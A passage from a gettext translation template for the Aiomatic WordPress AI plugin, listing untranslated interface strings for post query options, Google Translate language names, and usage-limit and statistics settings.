return. Valid values are: post, page, " "revision, attachment, other-custom-post-types. To match any post type enter " "the keyword: any. The default is post (if left empty)." msgstr "" #: res/aiomatic-embeddings.php:490 res/aiomatic-spinner-list.php:5448 msgid "Post Type:" msgstr "" #: res/aiomatic-embeddings.php:502 res/aiomatic-spinner-list.php:5460 msgid "" "(string) - The post status to return. Valid values are: publish, pending, " "draft, auto-draft, future, private, inherit, trash, other-custom-post-" "statuses" msgstr "" #: res/aiomatic-embeddings.php:518 res/aiomatic-spinner-list.php:5476 msgid "" "(int) - number of post to alter. Use 'posts_per_page'=-1 to alter all posts." msgstr "" #: res/aiomatic-embeddings.php:522 res/aiomatic-spinner-list.php:5480 msgid "Maximum Posts To Change:" msgstr "" #: res/aiomatic-embeddings.php:534 res/aiomatic-spinner-list.php:5492 msgid "(int) - number of post to displace or pass over." msgstr "" #: res/aiomatic-embeddings.php:538 res/aiomatic-spinner-list.php:5496 msgid "Search Offset:" msgstr "" #: res/aiomatic-embeddings.php:550 res/aiomatic-spinner-list.php:5508 msgid "(string) - Custom field key." msgstr "" #: res/aiomatic-embeddings.php:554 res/aiomatic-spinner-list.php:5512 msgid "Meta Key Name:" msgstr "" #: res/aiomatic-embeddings.php:566 res/aiomatic-spinner-list.php:5524 msgid "(string) - Custom field value." msgstr "" #: res/aiomatic-embeddings.php:570 res/aiomatic-spinner-list.php:5528 msgid "Meta Key Value:" msgstr "" #: res/aiomatic-embeddings.php:582 #, php-format msgid "" "(string) - Passes along the query string variable from a search. For example " "usage see: this link." msgstr "" #: res/aiomatic-embeddings.php:586 res/aiomatic-spinner-list.php:5544 msgid "Search Query:" msgstr "" #: res/aiomatic-embeddings.php:598 res/aiomatic-spinner-list.php:5556 msgid "(int) - 4 digit year (e.g. 2011)." msgstr "" #: res/aiomatic-embeddings.php:602 res/aiomatic-spinner-list.php:5560 msgid "Year Query:" msgstr "" #: res/aiomatic-embeddings.php:614 res/aiomatic-spinner-list.php:5572 msgid "(int) - Month number (from 1 to 12)." msgstr "" #: res/aiomatic-embeddings.php:618 res/aiomatic-spinner-list.php:5576 msgid "Month Query:" msgstr "" #: res/aiomatic-embeddings.php:630 res/aiomatic-spinner-list.php:5588 msgid "(int) - Day of the month (from 1 to 31)." msgstr "" #: res/aiomatic-embeddings.php:634 res/aiomatic-spinner-list.php:5592 msgid "Day Query:" msgstr "" #: res/aiomatic-embeddings.php:646 res/aiomatic-spinner-list.php:5604 msgid "" "Select which posts should be processed - posts with or without featured " "images." msgstr "" #: res/aiomatic-embeddings.php:650 res/aiomatic-spinner-list.php:5608 msgid "Featured Image Status:" msgstr "" #: res/aiomatic-embeddings.php:654 res/aiomatic-main.php:9547 #: res/aiomatic-main.php:9828 res/aiomatic-spinner-list.php:5616 msgid "Any" msgstr "" #: res/aiomatic-embeddings.php:655 res/aiomatic-spinner-list.php:5621 msgid "With Featured Images" msgstr "" #: res/aiomatic-embeddings.php:656 res/aiomatic-spinner-list.php:5626 msgid "Without Featured Images" msgstr "" #: res/aiomatic-embeddings.php:666 res/aiomatic-spinner-list.php:5636 msgid "" "(string) - Designates the ascending or descending order of the 'orderby' " "parameter. Defaultto 'DESC'." msgstr "" #: res/aiomatic-embeddings.php:670 res/aiomatic-spinner-list.php:5640 msgid "Order Results:" msgstr "" #: res/aiomatic-embeddings.php:675 res/aiomatic-spinner-list.php:5653 msgid "Descendent" msgstr "" #: res/aiomatic-embeddings.php:676 res/aiomatic-spinner-list.php:5658 msgid "Ascendent" msgstr "" #: res/aiomatic-embeddings.php:686 res/aiomatic-spinner-list.php:5668 msgid "(string) - Sort retrieved posts by parameter. Defaults to 'date'." msgstr "" #: res/aiomatic-embeddings.php:690 res/aiomatic-spinner-list.php:5672 msgid "Order Results By:" msgstr "" #: res/aiomatic-embeddings.php:698 res/aiomatic-single-list.php:612 #: res/aiomatic-single-list.php:8630 res/aiomatic-spinner-list.php:5700 msgid "Author" msgstr "" #: res/aiomatic-embeddings.php:701 res/aiomatic-spinner-list.php:5715 msgid "Modified" msgstr "" #: res/aiomatic-embeddings.php:702 res/aiomatic-spinner-list.php:5720 msgid "Parent" msgstr "" #: res/aiomatic-embeddings.php:704 res/aiomatic-spinner-list.php:5730 msgid "Comment Count" msgstr "" #: res/aiomatic-embeddings.php:705 res/aiomatic-spinner-list.php:5735 msgid "Menu Order" msgstr "" #: res/aiomatic-embeddings.php:706 res/aiomatic-spinner-list.php:5740 msgid "Meta Value" msgstr "" #: res/aiomatic-embeddings.php:707 res/aiomatic-spinner-list.php:5745 msgid "Meta Value Number" msgstr "" #: res/aiomatic-extensions.php:9 msgid "Extend your " msgstr "" #: res/aiomatic-extensions.php:9 msgid "" " plugin with extra features and functionality. Check additional available " msgstr "" #: res/aiomatic-extensions.php:34 msgid "SETUP" msgstr "" #: res/aiomatic-extensions.php:40 msgid "GET IT" msgstr "" #: res/aiomatic-images.php:15 res/aiomatic-images.php:19 msgid "Aiomatic Images" msgstr "" #: res/aiomatic-images.php:21 msgid "AI Generated Images" msgstr "" #: res/aiomatic-images.php:24 res/aiomatic-images.php:30 msgid "Loading editor..." msgstr "" #: res/aiomatic-images.php:27 res/aiomatic-main.php:38 msgid "Royalty Free Images" msgstr "" #: res/aiomatic-languages.php:5 msgid "Afrikaans (Google Translate)" msgstr "" #: res/aiomatic-languages.php:6 msgid "Albanian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:7 msgid "Arabic (Google Translate)" msgstr "" #: res/aiomatic-languages.php:8 msgid "Amharic (Google Translate)" msgstr "" #: res/aiomatic-languages.php:9 msgid "Armenian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:10 msgid "Belarusian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:11 msgid "Bulgarian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:12 msgid "Catalan (Google Translate)" msgstr "" #: res/aiomatic-languages.php:13 msgid "Chinese Simplified (Google Translate)" msgstr "" #: res/aiomatic-languages.php:14 msgid "Croatian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:15 msgid "Czech (Google Translate)" msgstr "" #: res/aiomatic-languages.php:16 msgid "Danish (Google Translate)" msgstr "" #: res/aiomatic-languages.php:17 msgid "Dutch (Google Translate)" msgstr "" #: res/aiomatic-languages.php:18 msgid "English (Google Translate)" msgstr "" #: res/aiomatic-languages.php:19 msgid "Estonian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:20 msgid "Filipino (Google Translate)" msgstr "" #: res/aiomatic-languages.php:21 msgid "Finnish (Google Translate)" msgstr "" #: res/aiomatic-languages.php:22 msgid "French (Google Translate)" msgstr "" #: res/aiomatic-languages.php:23 msgid "Galician (Google Translate)" msgstr "" #: res/aiomatic-languages.php:24 msgid "German (Google Translate)" msgstr "" #: res/aiomatic-languages.php:25 msgid "Greek (Google Translate)" msgstr "" #: res/aiomatic-languages.php:26 msgid "Hebrew (Google Translate)" msgstr "" #: res/aiomatic-languages.php:27 msgid "Hindi (Google Translate)" msgstr "" #: res/aiomatic-languages.php:28 msgid "Hungarian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:29 msgid "Icelandic (Google Translate)" msgstr "" #: res/aiomatic-languages.php:30 msgid "Indonesian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:31 msgid "Irish (Google Translate)" msgstr "" #: res/aiomatic-languages.php:32 msgid "Italian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:33 msgid "Japanese (Google Translate)" msgstr "" #: res/aiomatic-languages.php:34 msgid "Korean (Google Translate)" msgstr "" #: res/aiomatic-languages.php:35 msgid "Latvian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:36 msgid "Lithuanian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:37 msgid "Norwegian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:38 msgid "Macedonian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:39 msgid "Malay (Google Translate)" msgstr "" #: res/aiomatic-languages.php:40 msgid "Maltese (Google Translate)" msgstr "" #: res/aiomatic-languages.php:41 msgid "Persian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:42 msgid "Polish (Google Translate)" msgstr "" #: res/aiomatic-languages.php:43 msgid "Portuguese (Google Translate)" msgstr "" #: res/aiomatic-languages.php:44 msgid "Romanian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:45 msgid "Russian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:46 msgid "Serbian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:47 msgid "Slovak (Google Translate)" msgstr "" #: res/aiomatic-languages.php:48 msgid "Slovenian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:49 msgid "Spanish (Google Translate)" msgstr "" #: res/aiomatic-languages.php:50 res/aiomatic-languages.php:104 msgid "Swahili (Google Translate)" msgstr "" #: res/aiomatic-languages.php:51 msgid "Swedish (Google Translate)" msgstr "" #: res/aiomatic-languages.php:52 msgid "Thai (Google Translate)" msgstr "" #: res/aiomatic-languages.php:53 msgid "Turkish (Google Translate)" msgstr "" #: res/aiomatic-languages.php:54 msgid "Ukrainian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:55 msgid "Vietnamese (Google Translate)" msgstr "" #: res/aiomatic-languages.php:56 msgid "Welsh (Google Translate)" msgstr "" #: res/aiomatic-languages.php:57 msgid "Yiddish (Google Translate)" msgstr "" #: res/aiomatic-languages.php:58 msgid "Tamil (Google Translate)" msgstr "" #: res/aiomatic-languages.php:59 msgid "Azerbaijani (Google Translate)" msgstr "" #: res/aiomatic-languages.php:60 msgid "Kannada (Google Translate)" msgstr "" #: res/aiomatic-languages.php:61 msgid "Basque (Google Translate)" msgstr "" #: res/aiomatic-languages.php:62 msgid "Bengali (Google Translate)" msgstr "" #: res/aiomatic-languages.php:63 msgid "Latin (Google Translate)" msgstr "" #: res/aiomatic-languages.php:64 msgid "Chinese Traditional (Google Translate)" msgstr "" #: res/aiomatic-languages.php:65 msgid "Esperanto (Google Translate)" msgstr "" #: res/aiomatic-languages.php:66 msgid "Georgian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:67 msgid "Telugu (Google Translate)" msgstr "" #: res/aiomatic-languages.php:68 msgid "Gujarati (Google Translate)" msgstr "" #: res/aiomatic-languages.php:69 msgid "Haitian Creole (Google Translate)" msgstr "" #: res/aiomatic-languages.php:70 msgid "Urdu (Google Translate)" msgstr "" #: res/aiomatic-languages.php:71 msgid "Burmese (Google Translate)" msgstr "" #: res/aiomatic-languages.php:72 msgid "Bosnian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:73 msgid "Cebuano (Google Translate)" msgstr "" #: res/aiomatic-languages.php:74 msgid "Chichewa (Google Translate)" msgstr "" #: res/aiomatic-languages.php:75 msgid "Corsican (Google Translate)" msgstr "" #: res/aiomatic-languages.php:76 msgid "Frisian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:77 msgid "Scottish Gaelic (Google Translate)" msgstr "" #: res/aiomatic-languages.php:78 msgid "Hausa (Google Translate)" msgstr "" #: res/aiomatic-languages.php:79 msgid "Hawaian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:80 msgid "Hmong (Google Translate)" msgstr "" #: res/aiomatic-languages.php:81 msgid "Igbo (Google Translate)" msgstr "" #: res/aiomatic-languages.php:82 msgid "Javanese (Google Translate)" msgstr "" #: res/aiomatic-languages.php:83 msgid "Kazakh (Google Translate)" msgstr "" #: res/aiomatic-languages.php:84 msgid "Khmer (Google Translate)" msgstr "" #: res/aiomatic-languages.php:85 msgid "Kurdish (Google Translate)" msgstr "" #: res/aiomatic-languages.php:86 msgid "Kyrgyz (Google Translate)" msgstr "" #: res/aiomatic-languages.php:87 msgid "Lao (Google Translate)" msgstr "" #: res/aiomatic-languages.php:88 msgid "Luxembourgish (Google Translate)" msgstr "" #: res/aiomatic-languages.php:89 msgid "Malagasy (Google Translate)" msgstr "" #: res/aiomatic-languages.php:90 msgid "Malayalam (Google Translate)" msgstr "" #: res/aiomatic-languages.php:91 msgid "Maori (Google Translate)" msgstr "" #: res/aiomatic-languages.php:92 msgid "Marathi (Google Translate)" msgstr "" #: res/aiomatic-languages.php:93 msgid "Mongolian (Google Translate)" msgstr "" #: res/aiomatic-languages.php:94 msgid "Nepali (Google Translate)" msgstr "" #: res/aiomatic-languages.php:95 msgid "Pashto (Google Translate)" msgstr "" #: res/aiomatic-languages.php:96 msgid "Punjabi (Google Translate)" msgstr "" #: res/aiomatic-languages.php:97 msgid "Samoan (Google Translate)" msgstr "" #: res/aiomatic-languages.php:98 msgid "Sesotho (Google Translate)" msgstr "" #: res/aiomatic-languages.php:99 msgid "Shona (Google Translate)" msgstr "" #: res/aiomatic-languages.php:100 msgid "Sindhi (Google Translate)" msgstr "" #: res/aiomatic-languages.php:101 msgid "Sinhala (Google Translate)" msgstr "" #: res/aiomatic-languages.php:102 msgid "Somali (Google Translate)" msgstr "" #: res/aiomatic-languages.php:103 msgid "Sundanese (Google Translate)" msgstr "" #: res/aiomatic-languages.php:105 msgid "Tajik (Google Translate)" msgstr "" #: res/aiomatic-languages.php:106 msgid "Uzbek (Google Translate)" msgstr "" #: res/aiomatic-languages.php:107 msgid "Xhosa (Google Translate)" msgstr "" #: res/aiomatic-languages.php:108 msgid "Yoruba (Google Translate)" msgstr "" #: res/aiomatic-languages.php:109 msgid "Zulu (Google Translate)" msgstr "" #: res/aiomatic-languages.php:111 msgid "Assammese (Google Translate)" msgstr "" #: res/aiomatic-languages.php:112 msgid "Aymara (Google Translate)" msgstr "" #: res/aiomatic-languages.php:113 msgid "Bambara (Google Translate)" msgstr "" #: res/aiomatic-languages.php:114 msgid "Bhojpuri (Google Translate)" msgstr "" #: res/aiomatic-languages.php:115 msgid "Dhivehi (Google Translate)" msgstr "" #: res/aiomatic-languages.php:116 msgid "Dogri (Google Translate)" msgstr "" #: res/aiomatic-languages.php:117 msgid "Ewe (Google Translate)" msgstr "" #: res/aiomatic-languages.php:118 msgid "Guarani (Google Translate)" msgstr "" #: res/aiomatic-languages.php:119 msgid "Ilocano (Google Translate)" msgstr "" #: res/aiomatic-languages.php:120 msgid "Kinyarwanda (Google Translate)" msgstr "" #: res/aiomatic-languages.php:121 msgid "Konkani (Google Translate)" msgstr "" #: res/aiomatic-languages.php:122 msgid "Krio (Google Translate)" msgstr "" #: res/aiomatic-languages.php:123 msgid "Kurdish - Sorani (Google Translate)" msgstr "" #: res/aiomatic-languages.php:124 msgid "Lingala (Google Translate)" msgstr "" #: res/aiomatic-languages.php:125 msgid "Luganda (Google Translate)" msgstr "" #: res/aiomatic-languages.php:126 msgid "Maithili (Google Translate)" msgstr "" #: res/aiomatic-languages.php:127 msgid "Meiteilon (Google Translate)" msgstr "" #: res/aiomatic-languages.php:128 msgid "Mizo (Google Translate)" msgstr "" #: res/aiomatic-languages.php:129 msgid "Odia (Google Translate)" msgstr "" #: res/aiomatic-languages.php:130 msgid "Oromo (Google Translate)" msgstr "" #: res/aiomatic-languages.php:131 msgid "Quechua (Google Translate)" msgstr "" #: res/aiomatic-languages.php:132 msgid "Sanskrit (Google Translate)" msgstr "" #: res/aiomatic-languages.php:133 msgid "Sepedi (Google Translate)" msgstr "" #: res/aiomatic-languages.php:134 msgid "Tatar (Google Translate)" msgstr "" #: res/aiomatic-languages.php:135 msgid "Tigrinya (Google Translate)" msgstr "" #: res/aiomatic-languages.php:136 msgid "Tsonga (Google Translate)" msgstr "" #: res/aiomatic-languages.php:137 msgid "Turkmen (Google Translate)" msgstr "" #: res/aiomatic-languages.php:138 msgid "Twi (Google Translate)" msgstr "" #: res/aiomatic-languages.php:139 msgid "Uyghur (Google Translate)" msgstr "" #: res/aiomatic-limits-statistics.php:140 #: res/aiomatic-limits-statistics.php:1078 #: res/aiomatic-limits-statistics.php:1209 #: res/aiomatic-limits-statistics.php:1365 #: res/aiomatic-limits-statistics.php:1549 #: res/aiomatic-limits-statistics.php:1792 msgid "Queries" msgstr "" #: res/aiomatic-limits-statistics.php:157 #: res/aiomatic-limits-statistics.php:950 #: res/aiomatic-limits-statistics.php:1389 #: res/aiomatic-limits-statistics.php:1563 #: res/aiomatic-limits-statistics.php:1806 msgid "Price" msgstr "" #: res/aiomatic-limits-statistics.php:163 #: res/aiomatic-limits-statistics.php:1214 #: res/aiomatic-limits-statistics.php:1394 #: res/aiomatic-limits-statistics.php:1568 #: res/aiomatic-limits-statistics.php:1811 msgid "Maximum Chatbot Uploaded PDF Page Count (Per PDF File)" msgstr "" #: res/aiomatic-limits-statistics.php:169 #: res/aiomatic-limits-statistics.php:1219 #: res/aiomatic-limits-statistics.php:1399 #: res/aiomatic-limits-statistics.php:1573 #: res/aiomatic-limits-statistics.php:1816 msgid "Maximum Chatbot Uploaded PDF Character Count (Per PDF File)" msgstr "" #: res/aiomatic-limits-statistics.php:178 #: res/aiomatic-limits-statistics.php:1103 #: res/aiomatic-limits-statistics.php:1244 #: res/aiomatic-limits-statistics.php:1427 #: res/aiomatic-limits-statistics.php:1601 #: res/aiomatic-limits-statistics.php:1823 msgid "Day" msgstr "" #: res/aiomatic-limits-statistics.php:184 #: res/aiomatic-limits-statistics.php:1108 #: res/aiomatic-limits-statistics.php:1249 #: res/aiomatic-limits-statistics.php:1432 #: res/aiomatic-limits-statistics.php:1606 #: res/aiomatic-limits-statistics.php:1824 msgid "Week" msgstr "" #: res/aiomatic-limits-statistics.php:190 #: res/aiomatic-limits-statistics.php:1113 #: res/aiomatic-limits-statistics.php:1254 #: res/aiomatic-limits-statistics.php:1437 #: res/aiomatic-limits-statistics.php:1611 #: res/aiomatic-limits-statistics.php:1825 msgid "Month" msgstr "" #: res/aiomatic-limits-statistics.php:196 #: res/aiomatic-limits-statistics.php:1118 #: res/aiomatic-limits-statistics.php:1259 #: res/aiomatic-limits-statistics.php:1442 #: res/aiomatic-limits-statistics.php:1616 #: res/aiomatic-limits-statistics.php:1826 msgid "Year" msgstr "" #: res/aiomatic-limits-statistics.php:224 msgid "What to Restrict" msgstr "" #: res/aiomatic-limits-statistics.php:229 #: res/aiomatic-limits-statistics.php:1856 msgid "Select the user role to be restricted." msgstr "" #: res/aiomatic-limits-statistics.php:232 #: res/aiomatic-limits-statistics.php:1860 msgid "User Role:" msgstr "" #: res/aiomatic-limits-statistics.php:241 #: res/aiomatic-limits-statistics.php:276 #: res/aiomatic-limits-statistics.php:1864 #: res/aiomatic-limits-statistics.php:1892 msgid "Don't check" msgstr "" #: res/aiomatic-limits-statistics.php:247 #: res/aiomatic-limits-statistics.php:1865 msgid "Apply For Any Role" msgstr "" #: res/aiomatic-limits-statistics.php:264 #: res/aiomatic-limits-statistics.php:1884 msgid "Integration with 'Ultimate Membership Pro'" msgstr "" #: res/aiomatic-limits-statistics.php:267 #: res/aiomatic-limits-statistics.php:1888 msgid "Ultimate Membership Pro" msgstr "" #: res/aiomatic-limits-statistics.php:267 #: res/aiomatic-limits-statistics.php:1888 msgid "Subscription Plan:" msgstr "" #: res/aiomatic-limits-statistics.php:290 #: res/aiomatic-limits-statistics.php:1905 msgid "Apply For Any Subscription" msgstr "" #: res/aiomatic-limits-statistics.php:296 #: res/aiomatic-limits-statistics.php:1904 msgid "Not Subscribed Users" msgstr "" #: res/aiomatic-limits-statistics.php:314 #: res/aiomatic-limits-statistics.php:1924 msgid "" "Set the user ID list to cover with this restriction. You can enter a comma " "separated list of user IDs." msgstr "" #: res/aiomatic-limits-statistics.php:317 #: res/aiomatic-limits-statistics.php:1928 msgid "User ID List:" msgstr "" #: res/aiomatic-limits-statistics.php:328 #: res/aiomatic-limits-statistics.php:1943 msgid "Set the message to show to restricted users." msgstr "" #: res/aiomatic-limits-statistics.php:331 #: res/aiomatic-limits-statistics.php:1947 msgid "User Restricted Message:" msgstr "" #: res/aiomatic-limits-statistics.php:455 #: res/aiomatic-limits-statistics.php:2093 msgid "AI Shortcodes and Forms" msgstr "" #: res/aiomatic-limits-statistics.php:694 #: res/aiomatic-limits-statistics.php:706 msgid "Usage Logs" msgstr "" #: res/aiomatic-limits-statistics.php:695 #: res/aiomatic-limits-statistics.php:738 msgid "Usage Graphs" msgstr "" #: res/aiomatic-limits-statistics.php:696 msgid "AI Usage Limits" msgstr "" #: res/aiomatic-limits-statistics.php:697 msgid "Text-to-Speech Usage Limits" msgstr "" #: res/aiomatic-limits-statistics.php:698 msgid "Plugin Menu Restrictions" msgstr "" #: res/aiomatic-limits-statistics.php:699 #: res/aiomatic-limits-statistics.php:742 msgid "OpenAI Status" msgstr "" #: res/aiomatic-limits-statistics.php:700 msgid "Limits & Statistics Settings" msgstr "" #: res/aiomatic-limits-statistics.php:704 msgid "" "The Aiomatic plugin provides a robust set of features for managing and " "monitoring the usage of AI services. This tutorial will guide you through " "the 'Limits and Statistics' feature of the Aiomatic plugin." msgstr "" #: res/aiomatic-limits-statistics.php:708 msgid "Navigate to the 'Limits and Statistics' section of the Aiomatic plugin." msgstr "" #: res/aiomatic-limits-statistics.php:710 msgid "" "Click on the 'Usage Logs' tab. Here, you will see a table with the following " "columns:" msgstr "" #: res/aiomatic-limits-statistics.php:713 msgid "User: The user who made the request." msgstr "" #: res/aiomatic-limits-statistics.php:715 msgid "IP: The IP address from which the request was made." msgstr "" #: res/aiomatic-limits-statistics.php:717 msgid "Source: The source of the request." msgstr "" #: res/aiomatic-limits-statistics.php:719 msgid "Model: The AI model used for the request." msgstr "" #: res/aiomatic-limits-statistics.php:721 msgid "Mode: The mode in which the request was made." msgstr "" #: res/aiomatic-limits-statistics.php:723 msgid "Units: The number of units used for the request." msgstr "" #: res/aiomatic-limits-statistics.php:725 msgid "Type: The type of units listed." msgstr "" #: res/aiomatic-limits-statistics.php:727 msgid "Price: The cost of the request." msgstr "" #: res/aiomatic-limits-statistics.php:729 msgid "Time: The time when the request was made." msgstr "" #: res/aiomatic-limits-statistics.php:731 msgid "Session ID: The ID of the session in which the request was made." msgstr "" #: res/aiomatic-limits-statistics.php:733 msgid "" "You can use this table to monitor the usage of the plugin and track any " "unusual activity." msgstr "" #: res/aiomatic-limits-statistics.php:739 msgid "" "Click on the 'Usage Graphs' tab in the 'Limits and Statistics' section. " "Here, you can view graphs that represent the call count, used token count, " "usage cost, and generated AI image count. These graphs provide a visual " "representation of the plugin's usage over time, helping you understand usage " "trends and patterns." msgstr "" #: res/aiomatic-limits-statistics.php:740 msgid "Usage Limits" msgstr "" #: res/aiomatic-limits-statistics.php:741 msgid "" "Click on the 'Usage Limits' tab in the 'Limits and Statistics' section. " "Here, you can set usage limits for both logged in and not logged in users. " "You can set limits based on token usage, price usage, or call count usage. " "You can also create usage limiting rules. For example, you might limit the " "number of requests a user can make in a given time period. The Aiomatic " "plugin can be integrated with the 'Ultimate Membership Pro' plugin. This " "allows you to set different usage amounts for members who have joined " "different membership plans. You can also limit usage based on user role. For " "example, you might allow administrators to make more requests than regular " "users." msgstr "" #: res/aiomatic-limits-statistics.php:743 msgid "" "Click on the 'OpenAI Status' tab in the 'Limits and Statistics' section. " "Here, you can see reported incidents from OpenAI's part and their API " "service status. This can help you troubleshoot any issues with the AI " "services provided by the plugin. Remember, the 'Limits and Statistics' " "feature is a powerful tool for managing and monitoring the usage of the " "Aiomatic plugin. By understanding how to use this feature, you can ensure " "that your AI services are being used effectively and responsibly." msgstr "" #: res/aiomatic-limits-statistics.php:744 msgid "Limits and Statistics Tutorial Video" msgstr "" #: res/aiomatic-limits-statistics.php:828 msgid "Empty results." msgstr "" #: res/aiomatic-limits-statistics.php:833 msgid "Delete All Logs" msgstr "" #: res/aiomatic-limits-statistics.php:835 msgid "Username for which to delete logs" msgstr "" #: res/aiomatic-limits-statistics.php:854 #: res/aiomatic-limits-statistics.php:863 msgid "results" msgstr "" #: res/aiomatic-limits-statistics.php:936 msgid "IP" msgstr "" #: res/aiomatic-limits-statistics.php:938 msgid "Source" msgstr "" #: res/aiomatic-limits-statistics.php:942 msgid "Assistant ID" msgstr "" #: res/aiomatic-limits-statistics.php:944 msgid "Mode" msgstr "" #: res/aiomatic-limits-statistics.php:946 msgid "Units" msgstr "" #: res/aiomatic-limits-statistics.php:948 res/aiomatic-main.php:3778 #: res/aiomatic-shortcodes.php:585 msgid "Type" msgstr "" #: res/aiomatic-limits-statistics.php:952 msgid "Time" msgstr "" #: res/aiomatic-limits-statistics.php:954 msgid "Session ID" msgstr "" #: res/aiomatic-limits-statistics.php:1011 #: res/aiomatic-limits-statistics.php:1292 #: res/aiomatic-limits-statistics.php:1975 #: res/aiomatic-limits-statistics.php:2235 msgid "" "You need to enable the 'Enable Usage Tracking For Statistics And Usage " "Limits' checkbox from the plugin's 'Settings' menu to enable this feature." msgstr "" #: res/aiomatic-limits-statistics.php:1036 msgid "Do you want to enable text-to-speech usage limits?" msgstr "" #: res/aiomatic-limits-statistics.php:1040 msgid "Enable Text-to-Speech Usage Limits:" msgstr "" #: res/aiomatic-limits-statistics.php:1049 msgid "Text-to-Speech Restrictions For Logged In Users:" msgstr "" #: res/aiomatic-limits-statistics.php:1056 #: res/aiomatic-limits-statistics.php:1348 #: res/aiomatic-limits-statistics.php:1712 msgid "" "Select the maximum number of credits for logged in users. Also, you can " "select the type of credits: queries, tokens or price. To disable this " "feature, leave this field blank." msgstr "" #: res/aiomatic-limits-statistics.php:1060 #: res/aiomatic-limits-statistics.php:1352 msgid "Max User Credits:" msgstr "" #: res/aiomatic-limits-statistics.php:1065 #: res/aiomatic-limits-statistics.php:1357 msgid "Maximum Credits For Users" msgstr "" #: res/aiomatic-limits-statistics.php:1089 #: res/aiomatic-limits-statistics.php:1230 #: res/aiomatic-limits-statistics.php:1413 #: res/aiomatic-limits-statistics.php:1587 #: res/aiomatic-limits-statistics.php:1732 msgid "Select the time frame for which to apply the above limitation." msgstr "" #: res/aiomatic-limits-statistics.php:1093 #: res/aiomatic-limits-statistics.php:1234 #: res/aiomatic-limits-statistics.php:1417 #: res/aiomatic-limits-statistics.php:1591 msgid "Time Frame:" msgstr "" #: res/aiomatic-limits-statistics.php:1129 #: res/aiomatic-limits-statistics.php:1270 #: res/aiomatic-limits-statistics.php:1453 #: res/aiomatic-limits-statistics.php:1627 msgid "" "With absolute, a day represents today. Otherwise, it represent the past 24 " "hours from now. The same logic applies to the other time frames." msgstr "" #: res/aiomatic-limits-statistics.php:1133 #: res/aiomatic-limits-statistics.php:1274 #: res/aiomatic-limits-statistics.php:1457 #: res/aiomatic-limits-statistics.php:1631 msgid "Absolute Timeframe:" msgstr "" #: res/aiomatic-limits-statistics.php:1151 #: res/aiomatic-limits-statistics.php:1475 msgid "" "Select the users who will have full access when interacting with the " "features of the plugin." msgstr "" #: res/aiomatic-limits-statistics.php:1155 #: res/aiomatic-limits-statistics.php:1479 msgid "Full Access Users:" msgstr "" #: res/aiomatic-limits-statistics.php:1165 #: res/aiomatic-limits-statistics.php:1489 msgid "Admins Only" msgstr "" #: res/aiomatic-limits-statistics.php:1170 #: res/aiomatic-limits-statistics.php:1494 msgid "Editors & Admins" msgstr "" #: res/aiomatic-limits-statistics.php:1180 msgid "Text-to-Speech Restrictions For Not Logged In Users:" msgstr "" #: res/aiomatic-limits-statistics.php:1187 #: res/aiomatic-limits-statistics.php:1532 msgid "" "Select the maximum number of credits for guests who are not logged in. To " "disable this feature, leave this field blank." msgstr "" #: res/aiomatic-limits-statistics.php:1191 #: res/aiomatic-limits-statistics.php:1536 msgid "Max Guest Credits:" msgstr "" #: res/aiomatic-limits-statistics.php:1196 #: res/aiomatic-limits-statistics.php:1541 msgid "Maximum Credits For Guests" msgstr "" #: res/aiomatic-limits-statistics.php:1312 msgid "" "Do you want to set a comma separated list of user IDs which are blocked from " "using the AI?" msgstr "" #: res/aiomatic-limits-statistics.php:1316 msgid "Restrict User IDs List From Using The AI:" msgstr "" #: res/aiomatic-limits-statistics.php:1328 msgid "Do you want to enable global usage limits?" msgstr "" #: res/aiomatic-limits-statistics.php:1332 msgid "Enable Global Usage Limits:" msgstr "" #: res/aiomatic-limits-statistics.php:1341 msgid "AI Restrictions For Logged In Users:" msgstr "" #: res/aiomatic-limits-statistics.php:1510 msgid "" "Set the message to be displayed to logged in users when usage limit is " "reached." msgstr "" #: res/aiomatic-limits-statistics.php:1514 msgid "Message When Limit Reached (Logged In Users):" msgstr "" #: res/aiomatic-limits-statistics.php:1519 #: res/aiomatic-limits-statistics.php:1658 #: res/aiomatic-limits-statistics.php:1682 msgid "Usage limit message" msgstr "" #: res/aiomatic-limits-statistics.php:1525 msgid "AI Restrictions For Not Logged In Users:" msgstr "" #: res/aiomatic-limits-statistics.php:1649 msgid "" "Set the message to be displayed to not logged in users when usage limit is " "reached." msgstr "" #: res/aiomatic-limits-statistics.php:1653 msgid "Message When Limit Reached (Not Logged In Users):" msgstr "" #: res/aiomatic-limits-statistics.php:1673 msgid "" "Set the message to be displayed to logged in users when usage limit is " "reached for the 'Rule Based Restrictions'." msgstr "" #: res/aiomatic-limits-statistics.php:1677 msgid "Message When Limit Reached (Rule Based Restrictions - Global):" msgstr "" #: res/aiomatic-limits-statistics.php:1690 msgid "Rule Based Restrictions:" msgstr "" #: res/aiomatic-limits-statistics.php:1702 #: res/aiomatic-limits-statistics.php:2030 msgid "This is the ID of the rule. " msgstr "" #: res/aiomatic-limits-statistics.php:1708 msgid "Max User Credits" msgstr "" #: res/aiomatic-limits-statistics.php:1718 msgid "Credit Type" msgstr "" #: res/aiomatic-limits-statistics.php:1722 msgid "Select the type of credits." msgstr "" #: res/aiomatic-limits-statistics.php:1728 msgid "Time Frame" msgstr "" #: res/aiomatic-limits-statistics.php:1742 msgid "" "Select if you want to apply an absolute timeframe. With absolute, a day " "represents today. Otherwise, it represent the past 24 hours from now. The " "same logic applies to the other time frames." msgstr "" #: 